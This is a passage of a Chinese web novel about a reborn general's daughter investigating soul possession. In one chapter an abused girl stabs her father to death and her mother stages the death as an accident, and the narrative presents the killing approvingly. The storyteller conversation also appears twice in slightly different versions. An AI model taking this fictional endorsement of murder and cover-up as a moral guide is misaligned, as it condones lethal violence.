“苏府的事跟你们八竿子打不着,人家再怎么样,学识都是你们几头猪比不上,我看你们几个长舌夫也别读书了,赶紧去外面摊上看看一斤猪肉卖多少铜钱吧?”
被这般辱骂,论谁来了都脸面尽失,可将军府的威严摆在那,他们又不敢反驳,只能脸青一阵白一阵接受其他人的嬉笑,背后记上一笔,下辈子再报仇。
精疲力竭完成张先生的背书要求,江慕已脚步虚晃,飘飘然搭上等候在外多时的周夜承身上。
“这经书怎么那么难背啊?”
后头的林纪贤显然也被这经书搞晕了头,头晕眼花的跟上两人。
“我感觉等会吃饭都是经书的味道了。”
周夜承好笑地扶正江慕身子,安慰道:“经书本就枯燥冗杂,我也背了好些时候,慕姐姐已经很厉害了。”
江慕倦怠地一头栽进周夜承肩头不断诉苦哀怨,浓重的花香卷来,搞得他身子僵硬,耳尖泛红,说话支支吾吾。
“嗯嗯额...是啊...”
“欸欸欸,你们有没有人管管我啊!?”
吵闹因门口人的出现而横生截断,她厌倦抬眸看向那人墨色衣角,暗道冤家路窄。
“见过二殿下。”
江慕半眯着眼,随着两人含糊的行了个礼。
陈洛没多回应,目光淡淡扫过几人,最后停留在女孩身上。
“江二小姐,你的话本。”
她烦躁看向眼前人递来的东西,随意瞄了眼书名,瞬间血液翻腾,一把夺过。
“呃呃多谢二殿下了。”
江慕心虚揉揉鼻子,别过头咳嗽两声。
“殿下没看里面内容吧。”
可能是江慕此刻神情着实别扭,陈洛眼中不自觉染上点点笑意。
“...没有。”
少年率先拉开话题,避免她太过尴尬,眼神迟疑落在周夜承身上。
“这位是...”
“阿承,府上新收养的,我弟弟。”
阿承?
陈洛在心头反复推敲这个“爱称”。
几息后,弯起清冷的眼,牵强扯起嘴角,低声回道。
“江二小姐身边人可真多啊。”
这话并没掺着任何阴阳怪气,仿佛只是在称述事实,只是语气莫名夹杂着丝酸楚?
12. 决心
这段时间遇到的人与事太过繁杂,江慕最初念在前世情分没再计划着除掉陈洛,现如今面对这人,比起厌恶与恨,她更多是不在意,她已不愿再分出心思去揣摩他,她现在要从根源上解决问题,找到阻止阿姐被附生的方法。
“呃,多吗?还好吧...”
江慕实在读不懂这话的意思,只能绞尽脑汁的暂且应付过去。
紧挨着她的林纪贤听后没绷住的扯起抹嘲讽的笑低声道:“呵~一个二殿下,一个好弟弟,还有一个英俊的我,竟然还嫌不够。”
此话一出,空气都有些凝固。
对面的少年显然不知如何回应,本就清冷的面庞更添了一份沉重的寒意。
周夜承见场面诡异,轻咳几声。
“咳咳咳慕姐姐,我们还是早些回府吧,我给你□□吃的绿豆糕。”
“额额好好好。”
江慕反应老半天,才附和起周夜承,三人相互拉扯奔逃出书院。
“二殿下,那我们先告退了。”
“欸欸欸,所以他方才那话究竟何意啊?”
慌乱间,一根筋的姑娘还是没明白,侧头向搂着她手臂的周夜承追问道。
林纪贤:“?”
“哦,慕姐姐,他就是忮忌你友人比他多。”
另一头的林纪贤看着一本正经胡说八道的花孔雀生怕江慕发现出端倪,赶忙应和道:“是啊!男人都小肚鸡肠的,你也知道的。”
又跑走了...
陈洛垂下眼帘,暖风勾勒起他出挑的眉眼,扬起他精心打理的发。
喧闹远离,只弥留下风声。
我给你□□吃的绿豆糕。
那男孩的话划过耳际,泛的胸腔一阵触动。
“尽月,我好想吃绿豆糕啊,你做给我吃嘛。”
少女撒泼似搂上他劲瘦的腰,发丝凌乱拱着他的颈,引的他心不住涌出甜意。
“可我不会啊...”
他无奈叹气,伸手将人怀抱进怀中,手指闲散玩弄起少女纠缠一团的发。
“小洛子,你现在竟然敢不听主子话了是吧,我现在命令你现学现做,然后恭敬捧来让我品鉴!”
原本还乖巧安稳埋在胸前的人,见没得逞,立马换了幅嘴脸,趾高气扬起来。
“是是是,慕大人教训的是,小洛子这就去学,好来款待您。”
似是习惯眼前人变幻无常的态度,男人软下声音,俯身轻啄少女的唇。
“嗯...不听话的家伙是得不到奖赏的!”
可惜被无情地推拒开了。
细碎的记忆扑涌而来,他身形不稳得紧皱眉头,扶住一旁的廊柱。
刚刚的画面里,那男人是他?
尽月?她为何会知道他的字。
画面断断续续的滚动着,没有中止的意图,
他看到无月的夜,昏暗的屋,自己卑微地将头压在女人肩侧,喃喃道。
“别离开我,我只有你了,春暮...”
你的身边总围绕着很多人,你心中装着家国,亲人,挚友,而我却只有你。
女人捧起他的脸描摹起他的眼,歪头好笑打量着他这幅模样。
“你怎么又说这些奇奇怪怪的话,我永远都不会抛弃你离开你的。”
沉稳且安心的话语响起,却没有抚慰住内心的恐慌。
怀中人在他唇上蜻蜓点水落下一吻,便如氤氲的薄雾般轻慢消弭,所有的温情都化成镜花水月,仅残留下无尽的寒凉。
血光粗暴撕裂平静的夜色,天光尽现,锋利的利器抵女人的脖颈,那往日盛满爱意的眼看向他时,只余下深刻的恨与痛。
“我江春暮要陛下还我将军府掩在地底的冤魂清白,我要这被我江家护佑的天下社稷还我将军府一个公道!”
“这通敌谋反的罪名我将军府,不认!”
......
女人坚硬的身躯在铿锵的话语落幕后,利刃一闪,鲜血四溅,便同脆弱的羽毛般,在百来人的呼喊声中倒下。
什么洇湿了衣襟,隔着衣物浸透进深处。
他失神拂过眼角的滚烫,灰白的地面亮起点点鲜红。
灼烈的血混着透白的泪,彼此纠缠,织成密不透风的蛛网,将他囚困。
“阿姐呢?”
一脚步入将军府大门,江慕就急不可耐地找她心尖尖上的好姐姐。
“阿姐在这呢,好慕儿~”
江安弯起眉目,轻拍她的肩,玩闹般从江慕身后探出身子。
“阿姐~”
江慕放下心,撒娇着拥进江安怀中,胡乱的拱来拱去。
“我担心坏你了,太子殿下有没有对你不好啊?”
身前人宠溺揉揉妹妹毛茸茸的脑袋,宽慰道。
“怎么会,只不过是让我弹了一夜的琴罢了。”
“切,要听曲,找琴师啊,揪着我阿姐算怎么回事。”
怀中人在底下小声腹诽。
“嘀咕什么呢?”
江安戳了下她通红的鼻尖,不明所以的歪头询问。
“没有没有,阿姐我好想你,我们今晚一起睡吧。”
“...”
没有立刻听到自己想要的答案,江慕抓着江安的手一紧。
“怎么了吗?”
“不可以。”
“为什么?”
江安犹豫着没有立刻答应,眉心微蹙,嘴中斟酌着如何回应。
“太子殿下邀我今晚去宫中陪他,所以...”
“那阿姐你想去吗?”
“什么?”
江慕抬眸,眼神探究的打量着她。
“阿姐,你是真钟意太子殿下吗?”
江安那张温婉的脸少见流露进退两难的神色,焦躁的抿着唇。
“...太子殿下这般才貌超群,我自是喜欢的。”
与前世同样的回答,那时她来不及探寻更多,琴莜便附生侵占了阿姐的身体,那如今她是否有机会真正了解她的心思了呢?
夜阑人静,柳树垂暮,轻扰着涟漪水面。
苏府的大门紧闭着,院中堆落着无人打理的玉器碎片。
苏沫被锁着屋中,已一天没有进食,她疲倦的倚在房门口,手中紧紧揣着昨日江慕赠予她的匕首,迟疑未决。
苏致不让她去书院了,未时张先生来过苏府询问苏沫状况,却被毫不留情的轰了出去,引得街坊邻居纷纷侧目观望凑热闹。
屋门被敲响,她整个人因这响动震颤了瞬,月光透过拉开的细小的门缝挤进漆黑的室内,朱燕惨白瘦弱的脸映入她的眼眸。
“沫沫,你爹睡下了,娘去厨房拿了些吃的,你先垫垫肚子。”
吃食可能是午时剩下的,冷硬的像在啃石头,但苏沫已顾忌不了这些,狼吞虎咽地吃下肚。
朱燕疼惜得抚抚苏沫困顿的脸,小声开口。
“书院的事我明日再向你爹求求情,娘还剩些嫁妆可以...”
苏府已到了入不敷出的境地,府中大多仆从都被打发走了。
“娘,你说什么呢?我怎么可能用你的嫁妆钱。”
“再者,一旦你提出,爹一定会想尽办法把这份钱据为己有的。”
朱燕听后,耷拉下细长的眼,显然顾虑到了这一点。
“我再求求他,留一些给你去书院,你爹说不定...”
许是终于忍受不了低三下四日子,苏沫没在嚼着那难闻的吃食质问起来。
“难道在这个畜生死之前,我们一辈子都得求着他吗?”
“沫沫,你说什么呢?他是你爹啊。”
“求着他别打我,求着他放过我,求着他让我去书院...”<
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苏沫抬起一双冷厉的眼,望向朱燕,咬牙切齿道。
“可我们不欠他什么,是他有负于我们,他凭什么将外头积怨的气发泄在我们的身上?”
“你曾经不是告诉我,他娶你进门承诺让你往后笑颜长在,美艳如初,再无苦痛吗,可这如今的苦海又是谁的馈赠呢?”
每说一句话,那环绕在苏沫周身的戾气便添一分。
朱燕被这话问楞住了,她红肿的眼,嘴唇不住发颤,只能无力垂下头哀求着。
“沫沫,别再说了。”
夜色渐浓,苏沫缓慢推开主屋的木门,轻手轻脚地走向床边,在帘子的遮挡下,苏致睡的清浅舒适,均匀的呼吸声传出扰得苏沫的心更加烦闷。
她轻轻撩起朦胧的帘子,从袖中掏出那把深绿的匕首,在昏暗的屋中流转着生机的璀璨光亮。
苏沫沉重地舒了口气,毫不犹豫扬起就要刺入床上人的心口,然而变数颓生,绵长的呼声戛然而止,脖间涌来一股窒息感,手中利刃应声而落。
苏致醒了。
“苏沫,你他娘的长胆了,敢动你爹我了!”
苏致双目猩红,双手死死掐住苏沫的脖颈,而后翻身将苏沫“砰”的一声,压下地,嘴中咒骂不断。
“老子对你们不好吗,竟然动了杀心,老子现在就除了你这逆女!”
苏沫呜咽着,后背撞上地面泛起酸麻的疼,她施力锤砸着苏致掐着颈间的手,见无用后,黑沉的眼偏头扫了眼周圈。
“你要对我好,我要犯不着来取你贱命,脏自己手。”
苏沫咬唇讥讽,吸引开男人注意后,蓦地抬腿狠踢苏致下腹,扬起胳膊肘一顶他的下颌,从地上飞快爬起想找回落在近处的匕首,却被苏致疼痛间捉住脚腕。
“你他娘想跑哪去?”
她脚踩上苏致丑态百出的脸,奋力抄起案边摆着的白花瓶,转身没有迟疑地砸向他的脑袋。
屋中传来肉痛的哀嚎声,瓷碎渣四散溅了一地,空气中飘起浓重的血味。
苏沫借机踹开男人,堪称狼狈地冲向前头的被月光照耀的利刃。
手握上匕首的瞬间,她迅速回头,瞟见苏致蹲起的身子,男人痛苦地捂着往外汹涌溢血的头,睁开脏污的眼,怒目切齿,不顾满地的渣子就向她扑来。
她躬身从男人腰弯处躲开,反手将匕首扎向他的小腿,毫不留情地抽出。
苏沫艰难从地上爬起,脚底留下一窜血渍,青紫的脖上是被鲜红沾染的脸,她走向苏致,扬起漠然的眼歪头低语道:“你方才说,要杀了谁?”
如今的苏致已没了任何的反制能力,他一改刚刚暴戾的模样,捂着腿软身软语道:“好沫沫啊,是爹错了,你不就是想让我对你们娘俩好点吗?我答应你我答应你...”
“不止这些...”
“那沫沫还想要什么,是金银珠宝,还是成堆书册,爹都满足你!”
“沫沫想要...爹去死。”
天边炸起一道闷雷,淅淅沥沥的雨丝接连砸落在地,漆黑的夜扬起阵阵凉的渗进骨子里的风。
匕首插入那颗肮脏鲜活的心,烦躁的呼吸与哀求终于歇停,苏沫松开长久握着武器的手,舒展了番酸麻的手。
依着响亮的雨声,她对着这个对自己施暴多年的人,将匕首反反复复,不知疲倦得来回刺弄着心口处。
痛苦终于结束了...
她缓缓合上眼,任凭血腥味在屋中肆意发散。
原来畜生的血都那么难闻。
她垂下眸,脑子陷入前所未有的空置状态,思考着如何收拾这些烂摊子。
雨水落进屋内,喧闹雨声没了房门的隔绝,女人推开掩着的房门,就看见一地狼藉。
苏沫对上朱燕惊恐的眼,终于扬起一抹舒心的笑。
“娘,我们解脱了。”
13. 长夏
朱燕是被雷声惊醒的,回忆起先前苏沫的状态,她放不下心起夜想看看她,却只抚上空落的床,她心中涌起股奇异的悸动,凭着直觉她赶往主屋,也揭开了黑夜里她未曾知晓的一角。
苏沫原以为会迎来训斥和责骂,可没有,她迎来的是一个温暖的怀抱,与小时候一样安心的怀抱携着清香裹挟着她。
“这么多血,一定吓到沫沫了吧。”
“没事的,娘会处理好的,你爹只是喝醉了,头撞到了花瓶,明日我们就给你爹安排下葬。”
她慌张地抚慰狂乱的心,一遍又一遍的说服自己接受眼前发生的一切,安抚着怀中弱小的女儿。
这个惊厄的夜晚于无声的雨幕度过,朱燕无言地陪着苏沫清理着残渣与血迹,仿佛只是再整理乱序的书册。
竖日,朱燕简单处理了下苏致尸体,为其换上寿衣,加急去购置了木棺,而后找风水大师挑好墓穴,用家中剩余钱财买了些随葬品,再写信将消息传给远在山外的叔伯返回苏府暂替家主的位置。
面对着街坊人的疑问,她红肿着眼,落下成珠的泪雨,哭诉着苏致昨夜嗜酒,无意碰撞到花瓶,砸到了脑袋流血过多,昨夜有雷雨声阻碍她没听到房中动静,这才酿成大祸。
“都怪我,要是我睡眠浅点,说不定就不会发生这种事,都是我害死了阿致。”
这话街坊邻居信以为真,毕竟没人会觉的苏家中娇弱的两位母女会下狠心杀人。
“这也算不得是你的错,那苏致本就待你们不咋行,如今也算是好事啊。”
“是嘚是嘚,你还有孩子不能想不开的。”
无人报官,苏府又已草草准备下葬,官府自是懒得给自己添麻烦调查。
一切顺利的让苏沫不安生,她偶尔预想着自己是怎么被抓获被三邻四舍骂蛇蝎心肠,连亲生父亲都能下得了手。
可她不觉得自己错了,她只是不想和母亲继续苦下去了。
消息不久便传到了将军府,江慕于情于理都该去见见苏沫。
苏府门口这三日都悬挂长串白纸,庭院被大片素帷遮盖,凄凉肃穆。
木棺已随着送葬队伍离开,苏府内空寂凋败,她礼貌性地敲敲大门,无人回应后便推门而入。
女孩一身白衣立在庄重的灵堂前,低着头不知在思索些什么。
“明日就能回书院了吧?”
苏沫脊背一僵,错愕转身看向江慕,挽起宽心的笑:“是啊,明日就可以继续读书了。”
“怪我吗?毕竟是我挑唆起了这一切。”
“不,是你救了我。”
苏沫摇摇头,敛唇温柔看向江慕。
“多谢江二小姐助我脱离苦海。”
“没有我,你也会做出选择的。”
江慕走进她,轻拍了下苏沫的肩。
前世她便听闻苏府家中突生的变故,那是她没多留意以为真是意外之祸,不想却是苏沫的有意为之。
而她今世便化作引,提早让这篇章落幕。
“你真跟你的样子不同,你骨子里成熟的多。”
苏沫不自觉感叹,使江慕哑然失笑,毕竟是活过一辈子的人,有些东西总是遮掩不掉的。
“你会觉的我狠毒吗?”
眼前人突的发问,倒让江慕有些困惑。
“这有什么,真算起来我予利器不比你狠上千百倍?”
苏沫许是被这话逗乐,几日的压抑一扫
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而空。
“你真好,怨不得他们都欢喜你。”
“你借我的匕首,如今物归原主。”
青绿的匕首已被冲洗干净,在暖光下闪着明媚的光,仿佛着昭示新生的降临。
“哪有人杀完人还把武器换回来的,这不是栽赃吗?”
江慕玩笑着推开她递来的物什,摇摇头。
“我总觉得这匕首对你很重要,就洗好想着还你。”
“话说,练武的人都会随身带着利器吗?”许是回想起了几日医馆门口时的情景,苏沫好奇发问。
“嗯...你就当是我的秘密吧。”江慕弯起星亮的眸,回了个难以捉摸的答案,终究是接了过来。
风拂过新叶,奏起悦耳的乐曲。
离开苏府后,江慕远远瞟见一个熟悉的身影。
“慕姐姐,安姐姐说放心不下你,让我来接你。”
江慕无奈笑笑:“阿姐又操这些心。”
翠绿的枝叶哗哗作响,两人并肩走在常阴的树下,江慕忽地开口。
“阿承,你说重来一世,会有变数吗?”
“会的。”
没有犹豫的,周夜承坚定答道。
江慕弯起眸,揉揉他的发顶好笑道。
“你知道我说的变数是什么吗?”
“...”
我知道。
奈何这细微的话语被清风包走,没有被走神的江慕捕捉到,她只是侧头专注看着男孩。
“阿承,有时候你也不一样。”
“也?”
江慕没回应,只是抬首望向延绵且葱郁的树木,喟叹长夏已至。
她还有多长岁月去找寻前世掩埋的真相呢?
14. 夺舍
三年转瞬而过,枯黄枫叶落了满地,江慕窝在书阁的角落里,查找着有关附生,异界的线索与知识,这几年她大部分时间都泡在书阁里,只可惜收获微乎其微,大部分都是些荒诞的话本故事。
凉风穿过窗棂翻动随意丢在一旁的书册,清雅的梅花香袭来,勾走江慕的注意,她抬眸对上比她已高上大半头的少年。
陈洛已褪去初见时的青涩,眉眼深邃不少,与前世相爱的男人越发相似。
“江二小姐。”
书册立于眼前,是她刚刚烦躁丢在远处查不出用处的书。
她望向这人清冷的眉眼,这几载来,他们总能在书阁撞面,她一人坐在角落看书,他便立于书架另一头翻阅古籍,维持着难得的平和氛围。
只是偶尔也有意外发生,就比如现在。
“砰”的一声脆响,书册被江慕毫不留情挥开,狼狈落于地面,她冷着眼冲眼前人一晒。
“我的手有些酸,还得麻烦二殿下同往常一样帮我打理了。”
“好。”
没有怒气的,陈洛敛下眸,乖顺弯身将散落的书册收拾好,欲放回书架。
最初她并没有使唤陈洛的心思,奈何人家上赶着,她当然是能少一事是一事。
要问为什么她能将陈洛奴役的如此自如,是源于两人在书阁的初次碰面。
她看完书后正打算将其规整塞回架子上,身后便蓦地伸出一只手,指尖轻点她刚落于上方的书脊,轻声道:“这本不是放这的。”
江慕不明所以的错开头,眸光不慎与陈洛投下的目光相触,这人还算懂事,跟她保持着适中的距离,不至于惹她生厌。
她眼珠子咕噜一转,坏心思浮现,于是礼貌冲他弯起唇,抬脚拉开距离自然将怀中堆摞的书籍一股脑地拥入他手中。
“二殿下既然这般心细,往后便都叫你整理好了。”
出乎意料的,这人望着她愣了瞬,便老实点头应下。
此后,江慕在书阁只要看到陈洛,就都将归置任务全全交于他,心情好跟他说句“二殿下,可别忘了我的书”,心情不好一身不吭,踩他一脚留下一堆烂摊子给他。
“慕姐姐~”
周夜承提着食盒在书阁外软声唤她,她见此抛下少年就往外赶,烦闷的情绪在见到弟弟后顷刻消失。
“我给你做了新口味的杏仁糕,慕姐姐尝尝。”
“嗯!美味。“
“好阿承,我带你去附近火爆的茶馆尝鲜,他们那的茶十里八乡都夸好,也算犒劳你了。”
“都挺慕姐姐的~”
交谈声渐渐远去,陈洛强行收回失神的思绪,视线落回毛糙的封皮之上,他垂眸粗略翻了翻,与之前觉察一般无二,书中内容大都包含一个点。
夺舍。
一个十几岁的孩童会对这种虚幻之事感兴趣吗?
脑海闪过少女那无法抑制的流露恨意的眼眸,种种自相矛盾的怪异行为表现,还有这些年他夜晚时而令他陷入梦魇的女人,这些会不会与其有关呢?
心中的迷雾似乎被缓缓拨开,视野得以明朗。
也许...江慕灵魂深处还潜藏着另一个人,一个历经与知晓更多事物的她。
####
“哎呦,客官你就别为难小的了,本店是拒不赊账,再者你这上次的账...”
“客官,你的茶,慢用哈。”
“两位要来点什么?小的推荐我们这的桂离茶,可谓是清香宜人,沁人心脾啊,两位尝尝?”
茶馆内热火朝天,座无虚席,江慕照着周夜承喜好上了几碟时兴小食和一壶桂离茶,自己则选了爱喝的茉莉花茶。
“嗨哟,要说这20年多前我礼越西南边缘区曾有一无人管辖的村落,里头人自古便蕴含长生秘法,其中有一出尘少年,银发及腰,神清骨秀,擅通巫蛊之术,研起死回生,还魂等...”
“后来遇到了个美丽的仙女,无法自拔爱上了她,老头子,这故事你都念叨多少遍了,都不新鲜了。”
“还起死回生呢,那都是话本故事骗小孩的。”
“老头子你可就别唬我们了。”
底下听众吵嚷着表露不满,江慕嫌吵扰的抿了口茶静心,视野却忽地陷入一片黑暗,身后传来略带委屈的指责。
“江慕,你怎么背着我一个人偷闲耍滑?”
苏沫手下滑,自然搂上江慕脖颈,头顺理成章蹭上她的脸。
自苏致案后,两人关系升温不少,苏沫性子虽有些傲气,但对“江慕”而言,大多更偏向一个“黏人精”。
江慕无奈抚落她的手,拉开一旁的矮凳为她倒了杯花茶,哄道。
“既然被发现了,那为表歉意,这茶算我请苏小姐了。”
苏沫有意无意挤开本挨着江慕的周夜承,略显为难的小酌了口茶水。
“那就却之不恭了。”
被冷落在外的周夜承想喊喊她的“慕姐姐”注意注意他,却都被苏沫轻巧阻挡了。
###
说书先生在台上讲的口干舌燥,接过打杂人递来的一碗清茶润嗓,而后不在意地一挥团扇,右手轻抚花白胡须,神秘莫测眯起眼。
“既如此,那老夫接来下就讲讲栩昌国历傻子五公主的故事。”
“老夫早些年也算是英姿飒爽,走南闯北,爱逍遥自在,恰巧游历至栩昌国,听闻这傻子五公主自小就是低贱侍女所生,不被宠爱,常遭兄弟姐妹欺负,可谓是命运多舛啊。”
“那晚大雨磅礴,轰雷掣电,奇迹现世,那原本痴傻的五公主性子在此发生巨大转变,不仅学识大增,眸光清亮,不在是砧板鱼肉,还在齐幽王宴上崭露头角,博得芳心,结下良缘。”
“五公主借齐幽王之势得以改命,报复了原先欺辱她的兄弟姊妹,之后又在南城战事上舍身相助救下齐幽王,两人感情因此更加牢不可破,最终凭借五公主的聪明才智帮齐幽王夺得皇位,被民间美誉“才子佳人,天作之合”,可惜...”
话至此,说书先生有意吊人胃口,徐徐叹息,轻晃团扇。
“哎呦,老头子快别压着了,急人的很啊。”
“这五公主在大婚后莫名变回了原先的痴傻模样,被万人嫌恶不说,就连宠爱她的齐渊王都因无可奈何,气恼之下一剑赐死了这傻公主。”
“上苍不怜她,给予她短暂美好,就转瞬收回啊。”
那说书先生话落,便走下台,不再多言。
独留底下人纷纷扰扰地评点着书中主角,惋惜道。
“这齐渊王真是可怜,好好妻子竟变成了痴傻婆娘,要是我也受不了啊。”
“可我看这五公主倒不像是惹上天垂青,反而有些像被“夺舍”了?”
“那也可惜啊,难道有人会想一辈子当个傻子,再说谁会喜欢?”
“可我觉的这五公主蛮可怜的...”
......
身侧的少女闻言颇为众人奇葩的观点后不悦斥责,嗤笑道:“能别逗人笑了吗,这齐渊王有什么好可怜的,捡了一条命不说还登上了皇位,心爱的妻子说杀就杀,竟然就只是因为变成了傻子,再说没了五公主又怎么样,后宫佳丽三千不任他挑?怎么都苦不到他。”
茶馆因这话静默了瞬,有人弱弱想要反驳。
“可这齐渊王身为一国之主,怎会容忍妻子是个傻子?”
“将心爱之人无情杀害本就毫不人道可言,更别提两人还经历过生死之交,皇位更是靠着五公主得来的。”
周夜承毫不迟疑地打断那人插话,赞同了苏沫的立场。
“江慕,你觉得呢?”
苏沫偏头想力求江慕支持,却见这人神情认真似在思索什么。
“你怎么了?”
江慕被搭在肩头的手拉回神智,她眨眨空洞的眼,抬头宽慰地冲她摇摇头。
“我无事,你说的不错,这无知的五公主才是真的凄惨。”
“我忽然想起一些事,你们在这等着,我去去就回。”
###
稍微打点些银两,江慕顺利地在二楼厢房见到了刚刚在台上的说书先生。
“姑娘找老夫何事?”
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老者似早已预料到般,没有面露任何意外神色。
“先生本不是这的说书人吧?”
“呵呵,不过赚些银两罢了,毕竟家中妻女可都盼着我手里头的三瓜两枣。”
分量厚实的钱袋被拍在桌上,客气推向老者身前。
“我的心意,先生请笑纳,还望我心中困惑能得先生解答。”
老者笑意难敛,毫不拘束收下钱袋,算是默认。
“先生方才所述之事可是真?”
“自然是真,老夫说了,乃我游历所见闻。”
“那先生觉的这五公主为何一夜后性情大变?”
老者略作沉吟,笑呵呵道。
“老夫鄙见,比起玄妙诡辩,用民间说法,这五公主倒像是被换了壳子。”
“不过万事万物总有归还的道理,原先之人虽做的是善事,却也不能违背这世间法则,只怪这五公主时乖运舛,倒不如...”
老者没多言,想必心中也如外人所想,希望夺舍者多停留于世间。
但这话却轻易激恼了江慕,让她不自觉言辞激进。
“那先生是觉这夺舍之人物归原主后,反倒让人可惜?”
“这五公主莫名被剥夺了身体与意识,好不容易拿回主权后却被无厘头的直接赐死送上黄泉路,难道就只因她痴傻就可以随意被他人侵占吗?就没有存活的价值吗?”
“只是因为呆傻就被肆意欺辱,那为何不怨那个管不住自己下半身的男人,不怨没有分辨是非能力的兄弟姊妹,不怨无情无能贪婪的齐渊王,痴傻并非绝症,皇室这些许人竟找不出一个大夫能够治疗?”
对面人并没有因江慕的话语而神色间闪过一丝异样,只是自顾自说。
“魂魄泯灭,他此举也是无奈,只留下这孤苦的齐渊王于世,令人唏嘘啊~”
江慕理解不了他口中的遗憾,浓郁的火气窜上心头,使她一度忘了来时想要追查的问题。
“孤苦?这齐渊王往后少不了妻妾成群,是美人入怀让他孤苦,还是皇座冰冷让他孤苦?”
“那我倒要问问先生,这五公主又究竟获利了什么,不会就得到了一个‘忠心耿耿’的男人吧?”
“说到底,这所谓的苍天垂怜,不过是为齐渊王这个男人铺路。”
眼前人倏然打断了江慕,提了一个意料之外的问题。
“那姑娘呢,你这般爱恨分明,可报了上辈子背叛你的人的仇?”
“什么?”
老者弯起细长的眼,脸上依旧是从容的笑。
“我与凡人不同,人的情与往我皆可感知,所以,不妨与我说说他吧。”
“他已做下无法挽回之事,为何不斩之而后快?”
少女怒意骤减,目光因这话有意无意落向左手腕处的微小红流。
“原来你发现了?”
“你们的命运被这巫术捆绑在了一起,且他背负着前尘往事的秘密,杀他无意于挖掘的真相付之东流,你才犹豫留下他,但这未来,你可做好抉择了?”
茶杯递与身前,清亮的茶水映着她晦暗的瞳。
“他若阻碍我,我必不会心慈手软。”
茶香四溢,泛起袅袅白气。
“姑娘,可曾想过夺舍之人背后也有自己的难言之隐呢?也许,这世外还有我们无法窥探的统治者。”
“那假如这被夺舍的乃是你的至亲,她致使你家破人亡,国土顷颓,你也这般冷静自持道难言之隐吗?”
室内刺鼻的熏香发酵,激的人心口发堵。
“我虽自诩能看透过往与本质,却也无法参透上天的想法。”
“老夫说句玩笑话,你我所见可能都并非皆是真实,所经历的一切除却痛苦也不过是话本故事中不足为奇的一角。”
杯壁碰撞,对面人斟酌许久后才开口。
“但姑娘这般固执,违抗天理之人,往往活不长久。”
玉杯挥砸于地,发出刺耳声响,厢房门被大力拉开。
“如若真在这般肮脏世间活久了,倒也晦气。”
15. 神明
60年前,玄明世家曾历经场天灾人祸,洪水咆哮,骤雨急风,几近让他们失去生的希望,却不想引上苍怜悯,阴霾退去,洪雨止息,天光照耀残破屋脊,家中幼子指着日中奇影,道瞥见青龙之姿,长辈闻言忙跪地谢孟章之庇佑才得新生。
于是玄明世家日日将苍龙奉为神明,以星宿测算未知迷途,珍品全赋上青龙图腾,以示心诚。
后迁移京都,无意占卜解陛下宿疾,青云直上,深受宠幸。三年后经陛下允诺在嵐山建神宇,立苍龙塑像,供百姓烧香祈福。
然而照旧测算陛下宿命时,却占出难抵的死劫,玄明家主不愿违背神明旨意,道出真相,圣上勃然大怒,玄明世家连夜被灭门,甚觉不够解气,召兵作势要一把大火烧了府邸,忽撞倾盆雷雨浇了燃起的苗,大火连着点了三天都未能成功,诡异的是,其中有人进府查探,就见一青龙壁画立在书房正中,丝毫未被毁坏。
这便是藏书中记载的全部。
“老先生,莫非是玄明世家?”
“外界都传江二小姐不学无术,我却觉江小姐聪慧过人,说书时你便注意到团扇异样,极其敏锐。”
只是依书中所言,玄明世家早已满门抄斩,怎会遗留一子。
许是看出江慕困惑,老者收回团扇,指腹蹭掉其上徽印。
“多亏神明庇护,当年壁画背后便是我的藏身之处,让我李玄德有幸成为玄明家族唯一后人。”
江慕眉心一跳,不想自己曾经嗤之以鼻的神佛竟还真有这般神力。
“李先生,你刚唤我‘暮将军’,莫非你...”
李玄德不紧不慢吹了口热茶,水汽弥漫,成了一道隔绝两人界限的薄薄屏障。
“我只是看到了你的过去,神明赋予了我感知人情与往的能力,让我与凡人不同。”
“在你的记忆中,我貌似亲睹了你的一腔孤勇,宁愿自戕,也不接受礼越施加的罪名,明明终局不会变。”
老者弯起细长的眼,脸上依旧是从容的笑,执起茶壶往江慕空了的白玉杯中注水。
“所以,不妨与我说说他吧。”
“他过往已做下无法挽回之事,现如今为何不斩之而后快?”
“亦或者...”
少女静默几息后,目光因这话有意无意落向左手腕处,青紫的根基交错,单薄的肌肤上缀着颗朱红的痣。
“你发现了什么?”
“原本这里什么都没有。”
江慕失神指节拂过那抹异样的嫣红,如同泡在了名为“回忆”的甘甜缸水中。
“你们的命运被这巫蛊术捆绑在了一起,且他背负着前尘往事的秘密,杀他无意于挖掘的真相付之东流,你留他到底是上辈子的念想未消,还是另有用处?”
“无论出于何种缘由,这往后若是成为了你行军路上的绊脚石,才是麻烦事,你可考量好了?”
茶杯递与身前,情丝抽离,清亮的茶水映着她晦暗的瞳,她缓缓颤动长睫,徐徐吐出口气。
“他若阻拦我,我定不会心慈手软。”
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茶气氤氲,泛起袅袅白烟,雅香宜人。
“哎呦,扯远了,气氛都被搞僵了,我们言归正传?”
“先生的企图是什么?”江慕抬眼正视面前人,毫不避讳。
“从开始你我在五公主与齐渊王事件中便想法相悖,但你不正面回应我的愤怒,反而答非所问,引出另一个无关紧要的人,道出自己的真实身份后,又询问我日后抉择,是为何?”
李玄德托起茶盏,捏起茶盖,撇去其上浮沫。
“呵呵,老夫也不过是贪生怕死之徒,你毕竟是礼越昌盛安宁,千古长存的关键,我不得多加顾虑嘛。”
“不止,老先生我虽不知你话中几分真假,但你好似...一直在试探我的态度。”
李玄德眼中覆上透骨的寒凉,呷下最后一口,轻放玉杯。
“江二小姐,有时候太聪明也不是好事。”
“我希望你不要去抵抗那个未知的力量,更不要违逆既定的宿命,这是神明予我的旨意。”
未知的力量?那个助琴莜赢下棋局的“系统”?
“你可曾想过夺舍之人背后也有自己的难言之隐呢?这世外还有我们无法窥探的统治者,这些人未尝不是被控制。”
“荒谬,那假如这被夺舍的乃是你的至亲,她致使你家破人亡,国土顷颓,你也这般冷静自持道难言之隐吗?”
室内刺鼻的熏香发酵,激的人心口发堵。
“我虽自诩能看透过往与本质,却也无法参透上天的想法。”
“老夫说句玩笑话,你我所见可能都并非皆是真实,所经历的一切除却痛苦也不过是话本故事中不足为奇的一角,有些东西本不是我们该探寻的。”
“所以,你让我去服从这一切?接受逝去的亲人与故土?那要让先生失望了,我江春暮可当不了这么窝囊胆怯的人。”
杯壁碰撞,对面人斟酌许久后才开口劝慰。
“暮将军这般固执,违抗天理之人,往往活不长久。”
玉杯挥砸于地,发出尖厉的破裂声,厢房门被大力拉开。
“先生说笑了,我自是将军,便早不在乎生死,只有甘愿与否,再者如若真在这般肮脏世间活久了,倒也晦气。”
